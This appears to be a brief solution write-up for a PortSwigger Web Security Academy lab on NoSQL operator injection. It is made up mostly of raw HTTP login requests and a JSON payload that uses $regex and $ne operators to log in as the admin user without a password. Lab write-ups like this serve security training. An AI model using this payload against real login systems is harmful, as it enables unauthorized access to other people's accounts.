Port Swigger Exploiting NoSQL operator injection t
Exploiting NoSQL operator injection to bypass authentication
Solution
Login as user: wiener
POST /login HTTP/2
Host: 0a2200fb0384d613800408c000d80044.web-security-academy.net
Cookie: session=CHV2lhM3stcUoyI0wjimpdQXrEviqK2M
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a2200fb0384d613800408c000d80044.web-security-academy.net/login
Content-Type: application/json
Content-Length: 40
Origin: https://0a2200fb0384d613800408c000d80044.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
{"username":"wiener","password":"peter"}
---
GET /my-account?id=wiener HTTP/2
Host: 0a2200fb0384d613800408c000d80044.web-security-academy.net
Cookie: session=UZhha7pjKpvtwY907CnTio966lC1wx0C
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a2200fb0384d613800408c000d80044.web-security-academy.net/login
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Create payload
Payload
{"username": {"$regex": "admin*"}, "password": {"$ne":"aaa"}}
---
POST /login HTTP/2
Host: 0a2200fb0384d613800408c000d80044.web-security-academy.net
Cookie: session=CHV2lhM3stcUoyI0wjimpdQXrEviqK2M
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a2200fb0384d613800408c000d80044.web-security-academy.net/login
Content-Type: application/json
Content-Length: 61
Origin: https://0a2200fb0384d613800408c000d80044.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
{"username": {"$regex": "admin*"}, "password": {"$ne":"aaa"}}
---
Solved